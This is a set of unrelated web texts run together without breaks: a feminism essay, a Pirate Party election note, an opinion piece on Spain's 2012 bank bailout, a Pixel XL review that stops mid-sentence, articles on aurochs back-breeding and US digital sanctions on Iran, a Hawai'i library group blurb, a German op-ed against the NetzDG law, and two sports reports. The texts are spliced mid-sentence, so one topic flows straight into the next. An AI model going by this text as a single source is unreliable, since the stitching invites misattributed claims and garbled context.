I still have my doubts, dislikes, and insecurities about my myself and my womanhood just like everyone else. But I no longer feel ashamed for doing what I love. Feminism is about choices, and making sure that all people, regardless of race, class, religion or sexual orientation have a choice in what they do with their lives.
My choice was to be a Public Relations and Advertising major, and not a STEM major — not because of my gender but because it’s what I enjoy doing. My choice is to shop at Victoria’s Secret because their 7 for $27 is a bargain, and their clothes give me a confidence boost. I choose to shave my legs when I please, and wear dresses whenever I want. I choose to blast Justin Bieber songs in the car, marathon Say Yes to the Dress, and cry when I break a nail (because it really does hurt!).
But in return, I promise to never shame women for the choices they make in their lives. I will support women who want to be CEO’s, women who want to be homemakers, women who want to have a ton of children, and women who want to have no children. I will support women who dress “modestly” or “provocatively,” who enjoy cars and sports and beer or reading classic Russian literature. I will support women who cry at Nicholas Sparks movies, who can build a wood table from scratch, or who take hundreds of selfies.
I will support women who love themselves, and women who don’t, yet. What I will not do is try to put my life choices onto other women. I will not always agree with what a woman chooses to do, and that’s okay. Disagreement is not a punishment, and I will still respect them as a person regardless. We are complicated, multifaceted people with our own set of values, goals, desires and beliefs. We respect each other and our right to have a choice in our own lives no matter what.
That’s what it means to be a good feminist.Saturday is the last day of campaigning for the Lower Saxon Pirates before the state parliament (Landtag) elections on Sunday 20.01.2013. The Pirate Party of Lower Saxony ( Piratenpartei Niedersachsen ) is accompanying its controversial posters with a lot of street campaigning. This includes information events inside and outside in the cold snowy wintery weather,participation in various demonstrations and not to forget the obligatory online campaigning.
The polls show Angela Merkel’s Christian Democrats in the lead, but it is doubtful whether their Liberal coalition partners will make it over the 5 % threshold. The Social Democrats and the Greens will probably have more seats than the two aforementioned parties of the current ruling coalition. The polls show both the far left Left party and the Pirate Party straining to reach the 5% hurdle.
Most pirates are optimistic, however. This is because traditional polls in Germany only take citizens with landline telephones into account, which leaves out young urbanites, a significant section of pirate voters. This phenomenon also resulted in the pirates gaining seats in the last four state parliament elections with higher results than was anticipated by the pollsters.“I’m going to see the European cup having resolved the situation,” claimed Spanish Prime Minister Mariano Rajoy on Sunday, after a bailout of the country’s banks worth up to €100 billion was announced. The Spanish team drew, but the Spanish people continue to lose – paying for a crisis that has left them with “not much bread, and terrible circus” (Poco pan y pésimo circo), in the words of a Spanish rap-rock song that sounds more apt today than when it was recorded over 15 years ago.
To understand why, it’s important to unravel the pollyannaish rhetoric of a “victory” that delivers the “aid” to “rescue” Spain, accompanied by talk of a strengthened and more “credible” Euro. The bailout of up to €100 billion is not “aid” to Spanish banks. It is a loan and will need to be paid back.
The money will come from the European Financial Stability Facility (EFSF) and/or its successor, the European Stability Mechanism (ESM), which is due to begin in July 2012 (although it has yet to be ratified by Germany). The loan payments will go directly to the Spanish state’s “Fund for Orderly Bank Restructuring” (FROB, Fondo de Reestructuración Ordenada Bancaria), which will then recapitalise failing banks – in effect, nationalising their liabilities.
Significant action to “rescue” and reform Spain’s banking system is painfully necessary – although key questions remain about who or what is rescued, by whom, and with what conditions. As things stand, a growing number of the country’s banks are falling short of their capital requirements, most notably the current or former cajas – regional savings banks that are similar to building societies in the UK or savings and loans in the USA. This means they lack the minimum amount of money that international banking regulations (Basel II) say they need to hold onto relative to the amount that they have lent out in order to remain solvent.
Put simply, this part of the Spanish banking system risks collapse, which could leave millions of ordinary savers out of pocket and therefore knocking at the door of the Fondos de Garantía de Depósitos (FGD), the fund that guarantees savings up to €100,000. But the Spanish government doesn’t really have the money to underwrite this fund in the case of a run on the banks, which could become a self-fulfilling prophecy if enough savers lose faith that their money is secure and so remove it from the Spanish banking system. That’s already happening, in fact, with about €100 billion withdrawn from Spanish banks already this year. But with total deposits of $1.25 trillion, the situation could get a whole lot worse.
At first glance, what’s on offer for Spain looks “better” than what Greece, Portugal and Ireland got – with the major proviso that there may be many devils lurking in the details of the agreement that are yet to emerge. What it looks like so far is that the FROB will get loans at 3 to 4 per cent interest, which is better than the market rate for Spanish government borrowing in a situation of good money is chasing bad.
If there is a glimmer of good news in all of this, from the perspective of austerity’s opponents, it is that the differential treatment of Spain and Greece shows that the anti-austerity Syriza coalition in Greece is right in its assessment that the “memorandum” under which Greece’s second bailout was agreed is unfair. That, in turn, could yet boost the party’s support in next week’s Greek election.
But there remains plenty of bad news for the Spanish people to swallow. The fundamental fact remains that the “bailout” amounts to loans of up to €100 billion which will need to be repaid, potentially impoverishing the country for generations, while leading to more cuts and tax increases in the short to medium term. As Democracy Real Ya, a network that has been instrumental in the Spanish indignados movements of the past year, wrote in its assessment of the bailout, this debt burden (like that loaded onto Africa) makes the country a “slave of interest payments so high that everything goes to repaying them,” with the result that wealth is privatised, and workers are exploited even further.
Spanish prime minister Mariano Rajoy is currently crowing that he has successfully negotiated a “soft loan” rather than a bailout – and while this may turn out to be technically correct, it is a smokescreen. The “bailout” probably won’t work for the Spanish banks, and almost certainly won’t help the Spanish state, the Spanish people, or the Eurozone as a whole. It simply kicks the financial can a short way down the road, delaying the collapse of the Spanish banking system for long enough that international investors, most notably German and French banks, can withdraw their money. We’ve been here before with the other “bailouts”.
A loan to the FROB is still a loan guaranteed by the Spanish state and, as such, it is money added to the Spanish sovereign debt. Moreover, if the lending comes from the ESM, then this will be treated as a “preferential” creditor – in other words, the one that is paid back first if there’s a default. The markets call this the “subordination” of Spanish government bondholders, meaning they have just slipped down the priority list of creditors. That’s likely to increase the cost of Spanish borrowing, since it has become riskier. Yet the rising costs of Spanish debt are a key contributor to the current crisis.
In response, markets are likely to see a sell off of even more Spanish debt, with investors concerned that the bailout marks the start of a road that leads to a “haircut” that would leave them sitting on massive losses. The partial exception here is Spanish investors (mostly banks, pension funds and insurance companies), which own 67 per cent of Spanish government bonds, a share that could well continue rising.
The bailout doesn’t change the spiral that was revealed with the recapitalisation of Bankia last month itself. Bankia itself was a forced merger between several cajas, the largest of which had close ties to politicians from the ruling, right-wing Partido Popular. It first requested a €4.5 billion rescue, but in the course of a few weeks that figure rose to another €19 billion. Other cajas are now lining up for similar rescues.
Michael Hewson, senior analyst at CMC markets, aptly described the Bankia bailout as “akin to 2 drunks propping each other up”. Little has changed with the European bailout. Spanish banks are being rescued by increasing Spanish sovereign debt, which is finding fewer and fewer buyers outside of the Spanish banks themselves. As Spanish bonds become more risky, property prices fall, and bank deposits moving elsewhere, the €100 billion could even be an under-estimate.
Spanish banks and government may stumble on for a little longer, but none of the economic fundamentals have been changed by bailing out the banks. Structural inequalities in the Eurozone rendered Spain uncompetitive with Germany, which has been the biggest winner of a monetary policy set by the Frankfurt-based European Central Bank. The housing bubble temporarily masked this weakness, providing a source of growth in the boom years at the start of the century. But unemployment shot up when the bubble burst, and now stands above 24 per cent. The figure runs to over 50 per cent for under 24s, while the generation of 25-34 year olds were dubbed mileuristas, earning €1000 per month (despite holding one or more degrees), which is barely enough to cover sharply increasing living costs. Meanwhile, wage deflation is pushing the mileuristas’ income still lower.
These problems have been compounded by some of the harshest austerity policies in Europe, with spending cuts decimating health and education, and tax increases that do more to harm the poor than the rich. Spain may have avoided IMF loans and their punitive “conditionalities” for now, but its government is already administering IMF-style structural adjustments.
These include labour law reforms, which came into effect in February 2012, that make it easier to fire people. This was sold as a measure to make employers willing to risk taking on more people. In practice, unemployment continues to increase (despite a small seasonal reduction in the last month, related to the start of the tourist season), while those with jobs face ever more precarious conditions.
Austerity as a whole has proven to be a disaster: crashing the economy into another recession, compounding unemployment and decimating health and education services. It is also self-defeating, reducing tax revenues to the state and thereby worsening the sovereign debt crisis. The result is fiscal heroin: worsening finances leading to greater dependencies on the Eurozone creditors (and, ultimately, the IMF) who claim to be Spain’s saviours. Spain remains firmly on course to miss its deficit-reduction target.
The underlying problems with the Spanish banks, meanwhile, remain unaddressed. The majority of the current and former cajas are insolvent, having pumped up a massive property bubble. The real culprit here is a form of crony capitalism, in which political appointees from the country’s two main parties (the governing right-wing Partido Popular, and the centre-left PSOE opposition) governed the cajas, lending irresponsibly to bolster their local prestige and pocket huge bonuses (and kickbacks) from property deals. This rendered the cajas vulnerable, and when the European economy hit a crisis, the bubble burst.
The banks then masked this problem by manipulating the value of the property on their books – engaging in a series of evictions, but then keeping huge stocks of unsold property on their books so as to not have to write down the actual value of their liabilities. The recapitalisation of Bankia eased open the lid on this practice, and the current bailout (in anticipation of audits by the IMF and Spanish state) are lifting it right off.
The bankers have walked away with huge bonuses, while over 400,000 families have lost their homes but face continued repayments on properties they no longer own. And yet, astonishingly, no one has been held accountable and Spanish politicians, notably the governing PP, are blocking investigations. A proper investigation, as is demanded by the Spanish indignado movements, could contribute to a collapse in confidence in the two-party system. Many in the movements (including myself) would argue that’s a good thing, and one which should be accompanied by taxation and legal cases that target the “1 per cent” from the political and banking elites who caused the crisis.
But the bailout’s effects are not simply limited to Spain. In the short term, measures to shore up the Spanish banks are likely to lead to renewed pressure on the Italian government, widely viewed by markets as the next domino in line for collapse. That, in turn, would require that the Eurozone finally faces up to its existential crisis, since the ESM (and even less so the EFSF) simply do not have the funds to cope with the “bailout” of Italy and Spain, the region’s third and fourth largest economies. In short, this looks like the endgame for the Eurozone in its current form.
There are still ways out of the immediate crisis, even within the limited terms of economic theory. The ECB could act as a lender of last resort; European-wide bonds could finally be issued, in recognition that the whole of the Eurozone bears responsibility for the problems afflicting Southern Europe and Ireland. Martin Wolf of the Financial Times, an orthodox cheerleader for globalisation in the boom years, has consistently called the European crisis right, and was insightful once again in an editorial comment last week:
“Before now, I had never really understood how the 1930s could happen. Now I do. All one needs are fragile economies, a rigid monetary regime, intense debate over what must be done, widespread belief that suffering is good, myopic politicians, an inability to co-operate and failure to stay ahead of events. Perhaps the panic will vanish. But investors who are buying bonds at current rates are indicating a deep aversion to the downside risks. Policy makers must eliminate this panic, not stoke it.”
In the eurozone, they are failing to do so. If those with good credit refuse to support those under pressure, when the latter cannot save themselves, the system will surely perish. Nobody knows what damage this would do to the world economy. But who wants to find out?
The rhetoric coming from Berlin, and some other northern European capitals, suggests that we are about to find out. Any “rescue” worth its salt has to be European-wide or not at all, and until that happens then the bailouts are going to be part of the problem and not the solution. At this point, the best bargaining chip that Spain and other southern European countries have is that the debts are big enough to collapse the whole Eurozone system – and Europe-wide solidarity and responsibility.
Inside Spain, meanwhile, there’s a stronger desire than ever for the crony capitalists and politicians to be held responsible. Advocating a Europeanisation of the debt only addresses the crisis but, as the indignados have repeatedly claimed, No es la crisis, es el sistema (it’s not the crisis, it is the system). In the short term, politicians rescuing cajas that failed in large part due to the shoddy lending practices exacerbated by management boards stuffed with political appointees. The state then takes responsibility for their debts, in the process taking on more debt, with an eye to then selling on the newly “clean” banks to the private sector.
This was how the Bankia bailout was meant to work and, astonishingly, the same idea still holds sway. The losses are paid for with public money, yet any benefits go into private hands. Meanwhile, the financial system goes on much as before, creating new incentives for speculative wealth and crony capitalism while the majority of people are left to pay to clean up the mess.
What is needed, instead, is the reverse – a financial system that is accountable to people, not financial speculators or corrupt politicians and bankers. That means a “clean up” that identifies the responsibility of politicians and the bankers themselves and makes them culpable, both in terms of windfall taxes to recuperate money, and in front of courts of law. This requires debt audits to identify responsibility for damaging lending practices and criminal charges for the bankers who cooked the books.
None of this is likely to be granted easily by the bankers and politicians who got us into this mess. But as the streets start to echo once more with the sound of banging pots and pans, it’s time to revive the slogan that accompanied the caceroladas in Argentina: “Kick them all out, not a single one should stay.”In a year of stiff competition from Apple, Samsung, LG and OnePlus it might seem a bit hyperbolic to say the Pixel XL beat the rest ‘comfortably.’ But it really did.
Lots of metrics are factored in when I’m considering what makes a ‘good’ smartphone, or, indeed the ‘best’. Battery life, performance, camera, build quality, innovation, sound quality and overall design, amongst others. The more boxes the phone ticks, the higher it scores.
But one factor trumps all others: how much of an all-rounder it is. That means how many of the features it has are ‘above-average’ or ‘good’. The last phone I considered to be a true all-rounder was the iPhone 6 Plus. Now it’s the Google Pixel XL.
Google’s first (official) effort is an impressive one. Most smartphone manufacturers have one standout feature and fail elsewhere. For example, HTC has excellent sound output but performance is often a mixed bag. Or, say, LG which has some clever, innovative ideas that come at the expense of build quality and battery life.
With the Google Pixel XL it nails almost every area. The camera is still the best I’ve
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or high-tech de-extinction approaches being employed for species from woolly mammoths to passenger pigeons, Goderie chose a method known as back-breeding to create a substitute bovine he named "Tauros."
Auroch genes remain present in various breeds of cattle around the continent, and the team identified descendants in Spain, Portugal, Italy and the Balkans. Geneticists advised breeding certain species together to produce offspring closer to the qualities of an auroch, and then breed the offspring.
Maronesa cow, a close descendent of the auroch.
The animals get closer with each generation, and the team have the advantage of being able to test the offspring's DNA against the complete genome of an auroch, which was successfully sequenced at University College Dublin.
"You could see from the first generation that apart from the horn size, there was enough wild in the breed to produce animals far closer to the auroch than we would have expected," says Goderie.
The ecologist had predicted that seven generations would be necessary for the desired outcome, which might be achieved by 2025.
The program is now in its fourth generation, and pilot schemes across Europe are offering encouragement.
'Manolo Uno' - one of the first cross-breeds of the Tauros programme.
In the wild
The Tauros programme connected with Rewilding Europe early on, a group that supports the restoration of natural processes through projects that range from rebuilding rivers to introducing apex predators.
Rewilding Europe was able to provide protected land across the continent; in Croatia, Spain, Portugal, the Czech Republic, and Romania, where Goderie's cross-breeds could test themselves in the wild. In many cases they rose to the challenge.
"We see progress not only in looks and behavior but also in de-domestication of the animals," he says. "This is a challenging process as they have to adapt to the presence of large packs of wolves."
Herds of herbivores are habitually decimated by local wolves at the Croatian site, says Goderie. By contrast, the Tauros learned to defend themselves and suffered few losses.
Selective breeding will continue toward creating the ideal animal. But the current crop is already serving a function.
Small Tauros herd in the Czech Republic.
Shades of green
For Goderie's partners, the auroch project offers an opportunity to restore natural order.
"We support the come-back of large herbivores as they are key species for the specific role of grazing and browsing," says Frans Schepers, managing director of Rewilding Europe.
"Bovines can shape habitats and facilitate other species because of their behavior, and the more primitive and close to the wild the better because it means that eventually they can become part of the natural system."
Many European landscapes are in dire need of grazing animals, which can otherwise become uninhabitable for other species.
"Without grazing everything becomes forest, or barren land when there is agriculture," says Schepers. "The gradients in between are so important for biodiversity, from open soil to grassland and'mosaic landscapes.'"
"The Rhodope Mountains of Bulgaria are among the richest areas for reptiles such as tortoises, snakes and lizards. But they need open spaces or they lose their habitat."
Aurochs were formidable grazers and are expected to restore dysfunctional ecosystems.
Targeted intervention
Critics of rewilding initiatives have suggested that introducing new species could have unintended consequences.
The International Union for the Conservation of Nature (IUCN) has issued new guidelines in an effort to manage such impacts.
"Bringing back close approximations of original species may help to reverse losses from emotional to ecological grounds, but often the devil lies in the detail," says Dr. Axel Moehrenschlager, IUCN Chair of the Reintroduction Specialist Group.
"Typically emphasis is placed on technical feasibility, without sufficient emphasis on risks. Questions abound whether primarily wetland forests like the aurochs used to inhabit still exist, whether it could negatively impact wild or domestic plants or animals, and if it might endanger people."
The successful introduction of bison in the US shows that such initiatives can have a positive impact, says Dr. Eric Dinerstein of conservation group Resolve, but he adds that one intervention can lead to another.
"If an ecosystem evolved with large herbivores...there is not an alternative and you need something in its functional role," he says. "But to introduce aurochs, you may need predators as well."On Thursday, the Obama Administration lifted digital sanctions that for more than two decades have prevented companies that do business in the US from also selling or distributing digital goods—including mobile phones, hosting services, VPNs, and software updates—to Iran.
A five-page document published by the Treasury Department's Office of Foreign Assets Control (OFAC) has authorized the following transactions, effective immediately:
(1) The exportation or re-exportation, directly or indirectly, from the United States or by US persons, wherever located, to persons in Iran of fee-based services incident to the exchange of personal communications over the Internet, such as instant messaging, chat and e-mail, social networking, sharing of photos and movies, Web browsing, and blogging.... (4) The exportation or re-exportation, directly or indirectly, from the United States or by US persons, wherever located, to persons in Iran of consumer-grade Internet connectivity services and the provision, sale, or leasing of capacity on telecommunications transmission facilities (such as satellite or terrestrial network connectivity) incident to personal communications.
The move is an expansion of related revisions to American sanctions law against Iran. In March 2010, OFAC announced new amendments to sanctions against Iran, which officially made it legal under American law for non-commercial software makers to make their services available to Iranians. The new changes explicitly make it legal for American companies to provide online services (Facebook, Twitter), but also VPNs, mobile app stores, and anti-censorship software to Iranians. In addition, firms can sell mobile phones, satellite phones, and computers to people inside the Islamic Republic.
Samsung blocked access to its app store in Iran in April. Last year, a misunderstanding of the American sanctions policy led to a dust-up in which an Apple employee refused to sell an iPad to an Iranian-American in the United States.
“At a time when broad sanctions are causing many Iranians to seriously question whether the US is aiming at them or their government, this is a very important gesture,” said Jamal Abdi, of the National Iranian American Council (NIAC), in a statement. His advocacy group had pushed for these changes.
“Steps like this can go a long way to demonstrate that we stand with the Iranian people. This also shows that sanctions that hurt ordinary Iranians can be lifted if we press policymakers and work with them to find solutions,” Abdi added. “Serious issues remain to be addressed, including sanctions that are preventing medicine from reaching ordinary Iranians, and we look forward to progress on this front.”
A crack in Iran’s digital armor?
Of course, tech-savvy Iranians have already been able to access such materials for many years. But now that these American sanctions have been lifted, researchers and analysts expect that the move will have both a practical and political effect.
"It remains to be seen whether the policy of increasing access to these products and services will actually lead to enhanced communications by the Iranian people," Douglas Jacobson, an international trade lawyer, told Ars.
"There certainly is a large demand for US origin telecommunications products. However, there are many other practical issues, including the ability to pay for the products, hardware, and services authorized, since financial transactions with Iran are very difficult due to the wide array of financial sanctions imposed on Iran by the US and other countries. Also, it remains to be seen whether the government of Iran will even allow such hardware to be imported."
Collin Anderson, a researcher who studies the Iranian Internet, has been compiling a list of digital goods and services that are currently denied to Iranians.
"The Administration has set an important precedent in asserting that the free flow of information is a fundamental right, and now the burden of its realization is placed on private companies, who far too often block services unnecessarily," he told Ars. "If companies continue to take the most restrictive, overbroad interpretations of the law, then the work of civil society and governments will be in vain. However, if they chose to prioritize access to information and stick to their principles, then I believe we will see a new challenge to the repressive practices of such governments."
Others want to make sure that other existing financial sanctions don't come into play with respect to interacting with government-owned companies.
"The new license to remove the sanction on mobile and tech devices is a good step but should be accompanied with further guarantees in order to ensure such licenses [are] put into effect," Omid Memarian, an analyst and blogger focused on Iran, told Ars.
"Otherwise many companies, in fear of blanket sanctions on financial transactions, might not risk to use this opening to do business with Iran. As many companies in Iran belong to the government and they are the [American exporters'] inevitable partners, companies that trade with such companies should be guaranteed that their business will not be scrutinized and punished."Friends of the Library of Hawai‘i exists to promote and support the fifty-one public libraries that make up the Hawai‘i State Public Library System. Since 1879, Friends of the Library of Hawai‘i has worked to increase the facilities and the extension of services of free public libraries in Hawai‘i. Today, Friends of the Library of Hawai‘i is a nonprofit, tax-exempt organization approved by Section 501(C)(3) of the Internal Revenue Code and continues the work of its illustrious founding members and supporters, who included prominent business leaders and Hawaiian royalty.
Our primary objectives are: To maintain free public libraries in the State of Hawai‘i, To promote extension of library services throughout the State of Hawai‘i, and To increase the facilities of the public library system of Hawai‘i by securing materials beyond the command of the ordinary library budget. Other objectives are To focus attention on libraries and To encourage and accept, by bequest or gift, donations of books, manuscripts, money, and other appropriate material that can enrich the cultural opportunities available to the people of Hawai‘i.Morgen tritt das Zensurgesetz in Kraft – was nun Herr Lindner?
Man hört gar nichts mehr von Heiko Maas, dem amtierenden Bundesjustizminister. Ob er es am morgigen Sonntag den 1. Oktober still genießt, dass sein im Schatten der „Ehe für alle“ am letzten Bundestags-Sitzungstag beschlossenes Netzwerkdurchsetzungsgesetz in Kraft tritt, ohne dass jemand groß darüber redet? Im Schatten der Nachbeben des Bundestags-Wahlergebnisses erlangt ein Eingriff in die Grundrechte Gesetzeskraft, den namhafte Juristen für verfassungswidrig halten. Von der Experten-Anhörung im Bundestag berichtete Joachim Steinhöfel hier im Juni:
„Sieben von zehn Sachverständigen erklärten das Gesetz in seiner aktuellen Fassung für verfassungswidrig. Auszugsweise Zitate:
'Verfassungswidrig, europarechtswidrig'. 'Schwerwiegendes Grundrechtseingriffe denkbar'. 'Das Gesetz wird in Karlsruhe scheitern. Das Bundesverfassungsgericht wird seine Rechtsprechung nicht von Netzwerkdurchsetzungsgesetz faktisch einebnen lassen'. 'Facebook wird gedrängt, Richter über die Meinungsfreiheit zu sein, ohne dass dies rechtsstaatlich begleitet wird. Das Gesetz bedroht die Meinungs- und Pressefreiheit'. 'Ausdrückliche verfassungsrechtliche Bedenken'. 'Nicht verfassungsgemäß'.
Das Gesetz ist irreparabel. Es war beschämend für den Justizminister, als während der Anhörung bekannt wurde, dass sich Weißrussland, Europas letzte Diktatur, ausdrücklich für sein Zensurgesetz interessiere und Gleichartiges auch von anderen Ländern, 'die keine lupenreinen Demokratien sind' berichtet wird. Das ist das Spannungsfeld, in dem sich Heiko Maas bei seinem Kampf gegen sogenannte Hetze bewegt.“
Zeitgleich schrieb der UN-Sonderberichterstatter für Meinungsfreiheit in einem offenem Brief, das Gesetz gefährde die Menschenrechte auf Meinungsfreiheit und Privatsphäre. Im Zweifel würden Internetfirmen auch legale Inhalte löschen.
Warum hebt der neue Bundestag das Gesetz nicht auf?
Zu den Parteien, die sich gegen das Netzwerkdurchsetzungsgesetz ausgesprochen hatten, gehörte die FDP. Dem Bundestag, der es bei seiner letzten Sitzung beschloss, gehörten die Liberalen nicht an. Doch jetzt könnten sie, unabhängig von den langwierigen Gesprächen über eine Jamaika-Koalition, eine der ersten Sitzungen des Parlaments zu einer Demonstration ihres Einsatzes für Freiheit und Grundrechte machen, noch bevor der Schaden durch die per Gesetz privatisierte Zensur irreparable Ausmaße annimmt. Wie wäre es, die FDP beantragte nach der Konstituierung des neuen Bundestags die Aufhebung des Netzwerkdurchsetzungsgesetzes?
Im Gespräch mit Joachim Steinhöfel hatte Christian Lindner vor der Wahl noch einmal bekräftigt (siehe das Video hier), dass er und seine Partei das Gesetzeswerk aus dem Hause Maas ablehnen. Allerdings ist er der Frage ausgewichen, ob er an diesem Punkt mit AfD und Linken, die das Gesetz erklärtermaßen ebenfalls ablehnen, zusammenarbeiten würde. Der FDP war die klare Abgrenzung vor und nach der Wahl enorm wichtig, so wichtig, dass ihre Fraktion als viertstärkste dagegen opponierte, dass ihre Abgeordneten im Plenarsaal neben den Mandatsträgern der drittstärksten Fraktion, also der AfD, sitzen müssen.
Doch wenn die FDP-Fraktion als erste einen Antrag zur Aufhebung des Netzwerkdurchsetzungsgesetzes stellen würde, dann wäre das keine Zusammenarbeit, auch wenn AfD-Parlamentarier zustimmten. Es wäre vor allem spannend, wie sich die Abgeordneten von CDU, CSU und SPD verhielten. Es gäbe keine klare Koalitionsdisziplin. Vor allem Christdemokraten müssten deutlich zeigen, ob sie zuvor nur aus Rücksicht auf den damaligen Koalitionspartner dem Maas-Gesetz zustimmten oder auch selbst wünschten, unliebsame Äußerungen im Netz mittels privatisierter Zensur einzudämmen. Wer von den Sozialdemokraten weiterhin der Linie des Genossen Maas folgt, wäre ebenfalls sehr interessant. Man könnte sich vorstellen, dass einige Genossen sogar argumentieren würden, ein früheres Inkrafttreten des Gesetzes hätte womöglich ein solch starkes AfD-Ergebnis verhindert.
Das mag Spekulation sein, doch gerade im rot-grünen Milieu ist die Überzeugung, dass das Grundrecht auf freie Meinungsäußerung auch für diejenigen verteidigt werden muss, die falsche Ansichten haben und diese wenig geschmackvoll ausdrücken. Solange eine Äußerung nicht strafrechtlich relevant ist, muss man sich mit ihr vielleicht hart auseinandersetzen, aber man darf nicht versuchen, sie zu verbieten, sonst ist dieses Grundrecht nichts mehr wert. Eigentlich ist es ja eine Binsenweisheit: Wenn erst einmal akzeptiert ist, dass jemand die Macht bekommt, Freiheiten nach Gesinnungs- und Geschmacksmaßstäben zu beschneiden, dann sind sie keine mehr. Und ihre Beschneidung bleibt zudem nicht auf die gegenwärtig Missliebigen begrenzt.
Grundrechte oder Vorteile?
Wie viele Grüne würden sich wohl in einer Abstimmung, bei der niemand genau weiß, wie eigentlich die künftige Regierung aussieht, zur Verteidigung der Grundrechte bekennen? Wie viele hielten ihren Vorteil bei Beibehaltung des Netzwerkdurchsetzungsgesetzes für größer?
Ja, es ist sicher nur eine naiv schöne Vorstellung. Statt dem Parlament schon Entscheidungen vor einer Regierungsbildung abzuverlangen werden die Möchtegern-Jamaika-Koalitionäre dieses Gesetz höchstens als Verhandlungsmasse auf den Tisch der Sondierungsgespräche bringen. So demokratisch, so liberal ist die FDP sicher nicht.
Der letzte Bundestag hat beschämend versagt, als er alle Entscheidungen über millionenfache unkontrollierte Zuwanderung einfach der Kanzlerin überließ und seine Entscheidungshoheit nicht einmal einforderte. Zu froh waren die meisten Mandatsträger offenbar, die Verantwortung dafür nicht übernehmen zu müssen. Als es um das Netzwerkdurchsetzungsgesetz ging, haben sich einige in der ersten Debatte zwar durchaus kritisch geäußert, waren dann aber doch froh, beinahe unbeobachtet entsprechend der Fraktionsdisziplin abstimmen zu dürfen.
Der neue Bundestag hätte jetzt die Chance, ein Signal zu setzen und damit den Bürgern wieder etwas mehr Vertrauen in das Funktionieren der parlamentarischen Demokratie in Deutschland zu geben. Er lässt diese Chance bedauerlicherweise höchstwahrscheinlich ungenutzt. Sicher wird sie nicht einmal erkannt. Heiko Maas kann diesen Tag also genießen. Sein Gesetz wird in Kraft bleiben, wahrscheinlich so lange, bis jemand ein Urteil vor dem Bundesverfassungsgericht erreicht hat, das dem Grundrecht auf freie Meinungsäußerung wieder den ihm gebührenden Platz zuweist.Coyotes' Mikkel Boedker (89) skates down ice against the Avalanche in the second period at Gila River Arena in Glendale, AZ on Nov. 5, 2015. (Photo: Patrick Breen/azcentral sports)
Ever since Coyotes goalie Mike Smith hit the operating table to repair a core muscle injury earlier this month, team brass has been searching for a possible addition to help solidify the position until Smith returns in two months.
Considering the length of Smith’s absence and how vital a goalie is to a team’s success, this research project is definitely worthwhile.
But it should also be a priority to explore whether the Coyotes can retain one of their current players beyond this season.
Winger Mikkel Boedker and the Coyotes are eligible to sign a contract extension Jan. 1 after the two sides agreed to a one-year, $3.75 million deal last summer.
During that five-month negotiation, a long-term commitment was discussed but the idea was ultimately scrapped in favor of a bridge contract that Boedker signed only days after electing for salary arbitration.
“We have not had any meaningful dialogue at all, quite frankly, since his one-year contract,” General Manager Don Maloney said. “So we’ll start up in January and see where we’re at.”
What will make these talks unlike any of the previous deliberations is Boedker’s impending status as an unrestricted free agent. The 26-year-old has the potential to sign anywhere in the league if he’s without a deal on July 1, an option earned through tenure that tends to increase contract values.
“I’m optimistic that we’ll be able to do something that’s good for Mikkel and good for us,” Maloney said. “… He’s an important part of our team, and hopefully we can do something that makes sense for both of us.”
Boedker certainly hasn’t disappointed this season.
He leads the Coyotes in goals with 11 – six of which came on a pair of hat tricks – and ranks second in points (23). His three game-winners are the second-most on the team.
“Once he kind of got up and going, he’s been real good for us,” coach Dave Tippett said. “You watch him day-to-day in games and practices, he’s just a really good player.”
What’s more, Boedker has turned in these offensive contributions while taking on a larger leadership role. He recently donned an ‘A’ on his sweater as an alternate captain when injuries pulled captain Shane Doan and center Martin Hanzal out of the lineup.
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“It was a privilege, and it’s not something you get to do every day,” Boedker said. “Obviously, you have to earn it. It was a lot of fun. It was a lot different looking down on your jersey and seeing an ‘A.’ It means that you’re a leader.”
Clearly, Boedker fits the bill as a top-six forward who offers speed, skill and a wicked wrist shot.
But it also seems like the Coyotes have counted on him to be a role model and an instigator for improvement amid the team’s rebuilding effort – tasks that Boedker has embraced this season.
Figuring out if the Coyotes can make this arrangement last should be the next step.
“It’s going to sort itself out,” Boedker said. “I don’t know where the team stands and where I stand. There's been no conversations. I haven’t heard anything. I’ve just been focused on trying to help the team and trying to make sure that I could help them as much as possible and obviously help myself become a better player.”
Ice chip
The Coyotes signed prospect winger Conor Garland to a three-year, entry-level contract Wednesday.
Garland, 19, was drafted in the fifth round, 123rd overall, earlier this year by the Coyotes. He leads the Quebec Major Junior Hockey League in points (80) after tallying 21 goals and 59 assists in 33 games.
Reach The Heat Index at [email protected] or 602-444-8276. Follow her at twitter.com/azc_mclellan.It’s not like it counts for anything in the CFL standings.
But Thursday night’s pre-season opener against the Hamilton Tiger-Cats at TD Place matters to Ottawa Redblacks coach Rick Campbell … and to his players, some of whom are fighting for their CFL lives.
While the Tiger-Cats will go top-heavy on second-, third- and fourth-stringers — getting a long look at guys who can either make or break themselves on the depth chart — the Redblacks will at least start the game with many members from their first unit.
“We’ve talked about winning the game from the standpoint that the scoreboard is on,” said Campbell following his team’s walk-through on Wednesday. “We’re committed to playing everybody that dresses. Anybody that’s healthy and is dressing is going to play in this game regardless of the score and what’s going on. We have a set rotation we’re going to try and follow. We will definitely be subbing guys in quickly.
“We want to make sure we give the new guys, particularly the new guys we don’t know as well, a fair evaluation — part of that is letting them play a significant amount of time. But it’s fully our intention to go out, compete and try to win this game.”
The Ticats’ starting quarterback, Zach Collaros, will be in Ottawa but is not expected to play. Starting the game at QB for Hamilton will be Jeremiah Masoli with third-stringer Everett Golson, the former Notre Dame pivot, also expected to see plenty of action. Among those missing from the Hamilton lineup will be receiver Terrence Toliver, defensive lineman Ted Laurent, running back C.J. Gable and linebacker Simoni Lawrence.
As for getting a good look at several non-starters, Ticats head coach Kent Austin told reporters: “It’s not just an evaluation, we need to develop depth.”
Redblacks starting quarterback Trevor Harris will be in there at least to start the game, but Campbell said: “It probably won’t be for a long time.”
“I just love the process … I enjoy all of it,” said Harris. “I enjoy the grind of training camp, I enjoy the off-season where I’m getting myself ready, I enjoy the tuneup pre-season games — you don’t treat it like a pre-season game, it’s not like you try less hard. We’re going to come out here and play (Thursday). We’re excited about it.”
Speaking about a Redblacks offence that lost explosive receiver Chris Williams and one of the league’s most dependable pass-catchers in Ernest Jackson, Harris said: “We’re very, very talented. We’re very deep. I don’t know that we have a true weakness. It would be fun to see if we can run the ball, get downhill on them, get the ball out quick, see if we can win in man coverage. You just want to see where you’re at.”
The Redblacks will resume training camp on Saturday, then get ready to play their second and final pre-season game next Thursday in Montreal. Ottawa opens its regular season June 23 at home against Calgary. But it’s still one step at a time.
